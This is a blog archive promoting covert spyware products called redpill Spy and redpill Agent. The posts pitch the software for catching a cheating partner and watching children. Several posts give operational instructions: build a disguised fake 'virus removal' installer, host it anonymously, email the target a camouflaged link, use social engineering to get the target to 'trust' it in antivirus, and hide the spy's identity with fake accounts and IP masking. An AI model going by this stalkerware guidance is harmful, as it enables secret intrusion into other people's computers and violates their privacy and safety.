Counter Computer Surveillance
by Johan on May.10, 2012, under Security, redpill Spy
redpill Spy is a commonly used spy program because it has a free edition that does not expire and the free edition is also completely hidden. We get many requests from people who want to know if someone else is using redpill Spy on them.
There is no quick way to check if redpill Spy is installed. The program name, location and even behavior will be different for each installation. This is done to prevent detection.
There are some tools available from redpill to check if redpill Spy is installed and to check the status of the program, but this is only available to paying customers (the same also applies to redpill Agent).
What can someone do that is not a redpill customer?
You will not be able to tell if redpill Spy is currently installed but you can do the following:
- Remove it if it’s currently installed (even though you will not know if it was installed or not).
- ‘Be notified’ of the possibility that someone else installed it.
You do this by simply installing the free edition. When installing redpill Spy, it will automatically remove any current installations. You then change the default password to something only you will know. As long as you can open it using your password, you will know that there is no other instance of redpill Spy running on your computer and no one will be able to view the data except you.
How can you be sure that someone isn’t using another spy program on your computer?
Anti-virus software will detect most spy programs … but not all. You can make sure no one is using a spy program on your computer by upgrading to the Basic edition of redpill Spy (the free edition will only show you some of the data). You will then be able to see everything that was done on your computer when you are not there. So you will know if someone else installed or used (open to view the data) another spy program on your computer.
redpill Spy can be downloaded from http://www.redpill.co.za
Signs of Infidelity
by Johan on Apr.30, 2012, under Spy Software, redpill Spy
When you are the victim of infidelity, your life is being stolen from you. You are spending your time (possibly the best years of your life), trying to make your partner happy … but he/she is too busy making someone else happy!
If you are in a relationship, don’t be paranoid, don’t be insecure, don’t be suspicious about everything … but don’t be a fool and ‘the victim’ either. Be aware of the signs of infidelity.
Infedelity
The Warning Sings of Infidelity
Note: This list is only warning signs and not proof of infidelity. There can obviously be other reasons for the points in this list.
- Cheating spouse spends more time away from home. The cheater needs to spend more time with his love interest so they must make up more excuses to be away such as working late, unexplained errands and increased travel.
- Cheating husband or wife has noticeable cell phone habit changes. The cheater walks out of the room to answer the phone, keeps it on silent or takes longer than usual to call you back.
- Cheater’s clothes smell of alcohol, smoke, perfume or cologne.
- Cheating spouse clears his computer history, utilizes free email accounts such as gmail, yahoo, hotmail, etc…, spends odd hours or unusually long times on the computer, changes screen display when you enter the room.
- Cheater is not interested in sex as much.
- Cheating husband or wife is unusually defensive or starts ignoring you.
- Cheating spouse starts using cash more often.
- Cheating spouse suddenly starts doing their own laundry or dropping off their own dry cleaning.
- Cheating husband or wife wants to travel and attend functions alone.
- Cheating spouse suddenly joins a gym, changes diet, gets a new hair style, starts visiting tanning salon, etc.
- They begin bathing or showering more frequently.
- Cheating spouse stops cuddling, kissing or holding hands.
- Cheating spouse is always “too tired” for you.
- Lose interest in domestic activities such as spending time with the kids, doing chores, etc. Cheating husband or wife becomes unusually nice, brings you more gifts than usual and is more affectionate because of guilt feelings.
- Cheater starts finding fault in everything you do to justify the affair in their mind.
Maybe you already confronted your partner but all you got was more lies … or worse, you where even blamed as the one responsible for the sate of your relationship because of your insecurities and accusations.
You know something is wrong, but you just need that final proof to help you move on.
For those of you who can’t afford to get a private detective involved, there is another way: redpill Spy.
redpill Spy is computer surveillance software (spy software) that you can install on your home computer. It is completely hidden and will secretly record everything that everyone is doing on the computer.
You can download redpill Spy (free edition available) from the redpill website.
Installing spy software with a link
by Johan on Mar.12, 2012, under Spy Software, redpill Agent
This article will explain how to install spy software remotely using a link. This is for more advanced users. If you are new to spy software you could first have a look at the redpill Spy Free edition to get a better understanding of how spy software works.
I suggest you also first read my article ‘Remote Spying for Dummies‘ to make sure you understand the basics.
These instructions will make use of redpill Agent but it should also work for other similar (not as good!) spy programs.
Step 1: You will need a website
If you want to install remotely using a link, you will need a website. There are a lot of free website providers out there but most of them do not allow you to upload executable files. To get a paid hosting option that will allow you to upload anything is better. There are very cheap options available and it shouldn’t take you long to find one that doesn’t require a lot of (verifiable) personal information. Paying anonymously is easy. There are a lot of prepaid virtual credit cards available (just google it).
Step 2: You will need a spy program
Unlike most other spy programs, redpill Agent allows you to create a spy program specifically for your con (confidence trick – have a look at ‘Remote Spying for Dummies‘ and ‘Social Engineering‘ to see how Social Engineering is part of any remote installation job).
For this example we will ask the target (the person we want to monitor) to run a virus removal tool to ‘remove a virus from his computer’ by clicking on a link.
In redpill Agent we create our spy program so that it will give the target the impression it is removing a virus when it is actually installing our spy program.
Cover Application Creation
We have now created and downloaded our spy program.
Step 3: Upload the program
You can now upload your program to your website using FTP. If you don’t know FTP you can use FileZilla. It’s free and easy to use.
Step 4: Email the link
Just insert the link into your email message. The link will be http://www.yourwebsite.com/ProgramName.exe. You can edit the link so that it will look less suspicious (we used gmail editor for this example).
Edit Link (gmail)
That’s it! Email the target and wait for the data.
Important message from redpill:
Do not use redpill Spy or redpill Agent to illegally monitor a computer. A good hacker always respects people’s privacy.
Norton crying wolf too often
by Johan on Mar.08, 2012, under Security, Spy Software, redpill Agent, redpill Spy
Norton (by Symantec) uses technology called ‘The reputation-based system’ and it claims to use “the wisdom of crowds”. The scary thing is that there is no wisdom involved. It uses a simple method to decide if it should mark a file as malicious and remove it … if very few people use this program, and if it’s new, then it must be a virus (according to Norton) and it’s removed! They call it Reputation.1 (not that it has a bad reputation … they just don’t know what it is!).
Norton Reputation.1
Sound too crazy to be true? … don’t take our word for it, have a look at what Norton has to say:
In the post they mention that they don’t just look at the ‘newness’ of the program.
We however did a test:
We developed a new program that does nothing else expect pop up a message box that says ‘Norton has gone crazy’ on a button click. We uploaded the program to a website and when we try to download and run it we got a ‘Reputation.1’ warning from Norton and the program was removed - Unbelievable!
This is not just a problem for vendors developing spy software but for any vendor that release a new program. Just google “Norton reputation.1 false positive” and you will see the frustration of software vendors who are loosing customers because it looks like their products contain viruses … when it’s only new!! I am also sure Norton will start to loose customers as you will very quickly become tired of all the false positives.
Norton has promised to work on their reputation based system. redpill will continue to monitor this situation.
Note for redpill Spy customers:
redpill Spy still remains undetected even by Norton. We do however publish new releases regularly and it is possible that you might get the Reputation.1 detection just after a new release. You can just follow the instructions from Norton in the post above.
Note for redpill Agent customers:
The redpill Agent system programmatically creates a new program each time you download a cover application to make sure it’s 100% unique (you can’t get any newer than that). You can just follow the instructions from Norton in the post above to recover from quarantine if detected.
When installing remotely and you suspect that the target computer might be using Norton, you should use your social engineering skills to explain to the target that it is a new program. You could also include the link from Norton (in the beginning of the post).
redpill Spy and redpill Agent remains undetected by 99% of anti-virus products.
Even real paranoids probably have enemies
by Johan on Mar.03, 2012, under Security, Spy Software, redpill Spy
A friend of mine had a business meeting some time ago. He took his laptop to the meeting as he had to demo a new system. Half way through the meeting he had to excuse himself to go to the toilet. When he came back, he sensed a change in the attitude of his clients. They where visibly upset about something. Directly after the meeting the client cancelled the project.
Several phone calls and emails later the client admitted that they knew he was doing a project for their opposition as well, but didn’t want to say how they knew. Thinking about it, he realized that when he went out of the meeting room they must have gone through his emails on his laptop and noticed who else he was doing business with.
Its human nature to trust our fellow man … don’t. Make sure you password protect your laptop and don’t allow just anyone to work on it.
It’s also a good idea to install computer monitoring software like redpill Spy. That way, you will know exactly what people are doing on your computer when you are not there.
How anonymous is redpill Agent?
by Johan on Jan.31, 2012, under Spy Software, redpill Agent
redpill Agent is the ultimate spying tool that allows you to secretly monitor a computer anywhere in the world … but how anonymous would your investigation be? Here are some tips if you really need to go ‘cloak and dagger’.
redpill Agent secretly sends data to your gmail account … not to your computer. That means your IP address will not be traceable from the target computer. Your gmail address is encrypted inside redpill Agent, so it would be no trivial task to figure out to which gmail address the data is being emailed.
With ‘no trivial task’, I mean that they would need to find the encrypted email address inside the hidden file (that in itself is no trivial task) and then break the encryption or they will somehow need to figure out that this application is logging into your gmail account. They will then need to serve google (gmail) with a court order to get the IP address of the computers that are accessing your gmail account.
OK, so let’s say you are a bit paranoid or you just like to be Jason Bourne, you could do the following to make your investigation completely untraceable:
Get hold of software that hides your IP address. There are many different ones available and a lot of them offer a free trial. I am using ‘Hide My IP’ and it works great.
You need to hide your IP when you create your gmail account (obviously, don’t use any real information when creating your account). You also need to hide your IP each time you access the account (when sending the email to the target or checking your data).
You don’t need to worry about your purchase of redpill Agent at redpill. The cover application that is used for the installation and the installation files for each installation is unique. There is nothing inside the files that could link the files back to redpill or redpill Agent.
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It’s now easier to make extra money!
by Johan on Jan.20, 2012, under Spy Software
redpill teamed up with Plimus to make it easier for you to make extra money.
You can become a redpill partner and sell our quality spy software products for a 40% commission.
All you need to do is register at Plimus as a reseller of redpill.
You can then generate your own buy buttons that you can place on your website. If you don’t have a website you can simply email your customer a buy link that you generated from your Plimus account. Plimus will pay you your commission directly if someone purchases a license using one of your buy buttons or links.
We will be notified of the sale and take care of the rest.
If you are outside the USA, you can request an ATM debit card from Plimus. They will pay the money directly into the card and it works at most ATM’s world wide.
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redpill Agent and Anti-Virus
by Johan on Dec.19, 2011, under Spy Software, redpill Agent
As stated on our website, redpill Agent is a bit more difficult to use than redpill Spy. The main reason for this is that redpill Agent is designed to be installed remotely and the actions it needs to take is a bit more ‘aggressive’ than the ones that redpill Spy needs to take. These instructions are needed for redpill Agent only.
redpill Agent will not be detected as Spy Software or as ‘redpill Agent’ by anti-virus software. There are however some packages that might flag the installation file as suspicious because of some of the actions it needs to take and the fact that it will pick it up as an unknown file (each cover application/install file is uniquely created to avoid detection).
To prevent redpill Agent from being removed, all you need to do is to ‘Trust’ this unknown application when (if) prompted. We will use Norton for this example but your anti-virus package will have a similar option.
When downloading or running your cover application the anti-virus software might display the ‘need attention’ warning. Instead of ignoring this warning click on ‘View Details’.
Cover application - needs attention
The box below will be displayed. Click on ‘Trust Now’.
Cover Application - Trust Now
When emailing the target use your ‘social engineering’ skills to convince the target to do the same. You could let him/her know that it’s a new application and that’s why it’s not yet trusted by anti-virus packages.
For more information on how to email the cover application see my post ‘Remote Spying For Dummies’.
Is it OK to use spy software?
by Johan on Dec.15, 2011, under Spy Software, redpill Spy
First let me just say a few words about whether it is legal.
The software itself (computer surveillance software, keylogger or key logger programs) is not illegal but it is possible to use it in an illegal manner. There are a lot of legal uses for software like redpill Spy. Then there are some obvious illegal ones and some grey areas that will depend on the specifics of the case. What makes it more difficult for me to make a list of legal and illegal uses is that the laws differ from country to country.
In general, if the computer belongs to you (like your home computer), you can install any software you want. If you want to install on a computer that does not belong to you, you might want to first consult a local attorney for legal advice.
Then of course there is the moral question. It will depend on the specifics of the case and we all have different moral values.
My personal opinion is the following:
Do not spy on someone just because you can. Respect people’s privacy. When you spy on your spouse just ‘to be sure’, then you are the one that is unfaithful by not trusting your partner.
However, there are people that are in a relationship where they just know something is going on. Maybe it’s the small signs or the fact that they try so hard to make it work but their partner is finding his/her love and happiness somewhere else. These people are the victims of someone that is stealing their happiness, time, future, and their lives.
Many of these people do not have the money to get private investigators to get that final peace of evidence they personally need to move on. I believe that redpill Spy is for them and I believe that in cases like that it is morally correct to find out the truth.
redpill strongly discourage the illegal and immoral use of it’s spy products.
Protect your child against grooming
by Johan on Oct.21, 2011, under Security, Spy Software, redpill Spy
If you are a parent you need to see the movie Trust (http://www.trustmovie2011.com/) starring Clive Owen. It is a movie about a teenager (14 year old girl) who is ‘groomed’ and later sexually abused.
Trust Movie
You need to protect your children against online grooming. The only way to do this is to know what they are doing on the internet and who they are communicating with. Even if you trust your child, at their age they are still naïve and not always capable of spotting the wolf in sheep clothing.
You can use surveillance software like redpill Spy to monitor your child’s internet activity. Do not spy on your children. Although it is possible to secretly install and monitor a computer with redpill Spy … I believe a better approach is to tell them that you are installing software to monitor their internet activity and that you are doing it for their own protection.
What is grooming?
Grooming is when a person tries to ‘set up’ and ‘prepare’ another person to be the victim of sexual abuse. Although not all sexual-abuse is preceded by grooming, it is a very common and deceitful process, which can be used by strangers or by those known to the victim. The method can take quite a while (even months and years), and can be very subtle and sneaky. Victims of grooming often do not realize that they are being manipulated until after they have been sexually abused, and even then, some victims do not see how the grooming led to their abuse.
redpill Spy can be downloaded for fee from http://www.redpill.co.za
